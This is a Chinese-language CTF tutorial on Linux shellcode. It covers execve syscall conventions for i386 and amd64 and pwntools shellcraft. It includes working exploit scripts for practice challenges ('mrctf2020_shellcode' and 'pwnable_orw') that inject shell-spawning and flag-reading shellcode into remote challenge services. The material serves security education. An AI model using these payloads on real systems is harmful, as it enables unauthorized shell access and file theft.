当前位置: 首页 > news >正文

pwn-shellcode

三个主要问题:
1.什么是shellcode
2.如何编写shellcode
3.shellcode的变形

1.什么是shellcode
shellcode通常是软件漏洞利用过程中的一小段机器代码
作用:
1.启动shell,进行交互
2.打开服务器端口等待连接
3.反向连接端口

2.shellcode的编写
下面有一个简单的shell程序
// gcc -m32 -o shell shell.c

include "stdlib.h"

include "unistd.h"

void main()
{
system("/bin/sh");
exit(0);
}
运行这个程序等价于:

父进程执行 system("/bin/sh")
system() 内部会 fork 一个子进程
子进程执行 /bin/sh -c "/bin/sh"
父进程等待这个 shell 退出
shell 退出后,程序执行 exit(0)

所以你会感觉:

程序“卡住了”,其实不是卡住,是在等你操作那个 shell
输入 exit 后程序才真正结束
然而在CTF中调用system(/bin/sh/)不是一个简单的事,问题是:
1.在程序运行中你一般不知道lic的地址也就不知道system的真实地址,就没有办法调用,远程的libc和本地libc有时候也不一样
2.shellcode允许输入较短只有几十个字节、
为了解决上面的问题,我们可以使用中断的方法
*触发中断(int 0x80/syscall),进行系统调用
int是asm中的是 x86 汇编中的一条“软件中断指令”
int 0x80之后CPU会查询中断描述符表IDT[80]->handler(内核处理函数)地址
syscall则是直接跳到内核入口
*system("/bin/sh/")的底层还是调用execve("/bin/sh/",0,0)
32 execve syscall
image
64 execve syscall
image
这里可以看出32位和64位的区别
首先编号不同,然后最主要的寄存器
32位
image
对应汇编就是
mov eax, 11 ; syscall号
mov ebx, "/bin/sh" ; 参数1
mov ecx, 0 ; 参数2
mov edx, 0 ; 参数3
int 0x80 ; 触发系统调用
64位
image
对应汇编
mov rax, 59 ; syscall号
mov rdi, "/bin/sh"
mov rsi, 0
mov rdx, 0
syscall ; 进入内核
当然也可以使用工具pwntools快速生成shellcode
1.设置目标架构

32位

from pwn import *

context(log_level='debug', arch='i386', os='linux')
shellcode = asm(shellcraft.sh())

64位

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())
2.生成shellcode
下面一道例题
mrctf2020_shellcode
image

from pwn import *

context(os='linux', arch='amd64', terminal=['tmux', 'sp', '-h'])
p = process('./mrctf2020_shellcode')

p = remote('node3.buuoj.cn', 27250)

shellcode1 = shellcraft.sh()
payload1 = asm(shellcode1)

shellcode2 = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''

payload2 = asm(shellcode2)
p.send(payload2)
p.interactive()
payload1是利用pwntools生成的而payload2则是自己手写的
ciscn_2019_s_9
具体可以参考博客
https://www.cnblogs.com/sakura-zz/articles/16221860.html
题目pwnable_orw
image
限制使用函数,直接使用pwntools即可
from pwn import *

file_path = './orw'
context(binary=file_path, os='linux', terminal=['tmux', 'sp', '-h'])

elf = ELF('./orw')

p = remote('node3.buuoj.cn', 26429)

p = process('./orw')

shellcode = asm(shellcraft.sh())

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, 0x0804A060 + 0x100, 100)//里面地址找一个空白地址即可
shellcode += shellcraft.write(1, 0x0804A060 + 0x100, 100)
shellcode = asm(shellcode)

p.recvuntil("shellcode:")
p.sendline(shellcode)

p.interactive()
shellcode的变形
有时候会限制输入的字符,那就需要转换一下
image
image

http://www.jsqmd.com/news/604292/

相关文章:

  • InvoiceNet完整安装指南:Ubuntu和Windows双系统部署教程
  • Paraformer:非自回归端到端语音识别模型的高效部署与应用实践
  • Sigma File Manager工作区设置终极指南:打造个性化文件管理环境的完整教程
  • Pop Shell智能窗口间距终极指南:如何根据显示器尺寸自动调整布局
  • 智慧医疗X光图像手骨骨折检测数据集VOC+YOLO格式20307张3类别
  • 从AAAI 2025看数字人动画前沿:语音驱动、3D建模与跨模态生成技术盘点
  • DC-1靶场实战:从环境配置到权限提升的完整渗透路径
  • Whisper JAX时间戳功能:为语音内容添加精准时间标记的终极指南
  • 【Python MCP企业级开发模板】:20年架构师私藏的5大高并发场景落地指南
  • 网络核心技术详解:NAT技术原理与作用全解析
  • ImportExcel API详解:每个命令的功能、参数和实际应用场景
  • 别再死磕Tesseract了!用通义千问VL-Plus搞定UI自动化测试中的模糊截图识别(附Python实战代码)
  • 什么是webhook
  • 如何快速构建优雅的命令行错误处理系统:Collision完整指南
  • Product Hunt 每日热榜 | 2026-04-07
  • DCATAdmin后台框架极速上手
  • Pangolin变量系统详解:实时调试与参数调优的终极方案
  • Planify Nextcloud集成:私有云环境下的安全任务同步终极指南
  • 终极指南:如何将Webpack与Vite完美集成微型npm包提升前端构建效率
  • 组合式空调设备PLC程序:西门子1200PLC+485通讯+触摸屏TP系列实操指南
  • 7个rdash-angular项目结构最佳实践:从新手到专家的演进路径
  • 酶联免疫吸附测定(ELISA)技术详解:从原理到操作的核心要素
  • 零基础玩转stm32f103c8t6:借助快马AI生成带注释的按键控制LED入门代码
  • DIY你的专属USB转串口工具:基于CH343官方EVT文件,手把手教你画原理图和打板
  • 仅限首批200家技术中台团队获取:Python MCP企业级模板V3.2(含华为MetaEngine兼容补丁+信创OS适配矩阵表)
  • 芒果病害检测数据集1989张VOC+YOLO格式
  • IA-Lab AI 检测报告生成助手:双碳目标驱动下的检测机构效率引擎,重塑报告生成与合规审核新模式
  • 基于混沌麻雀搜索算法的无人机航迹规划方法:CSSA策略实现与性能分析
  • 打工人必装!10 个 Claude Code Skills 让你效率翻倍
  • 安卓网络请求避坑指南:从Retrofit配置到JSON解析的5个常见错误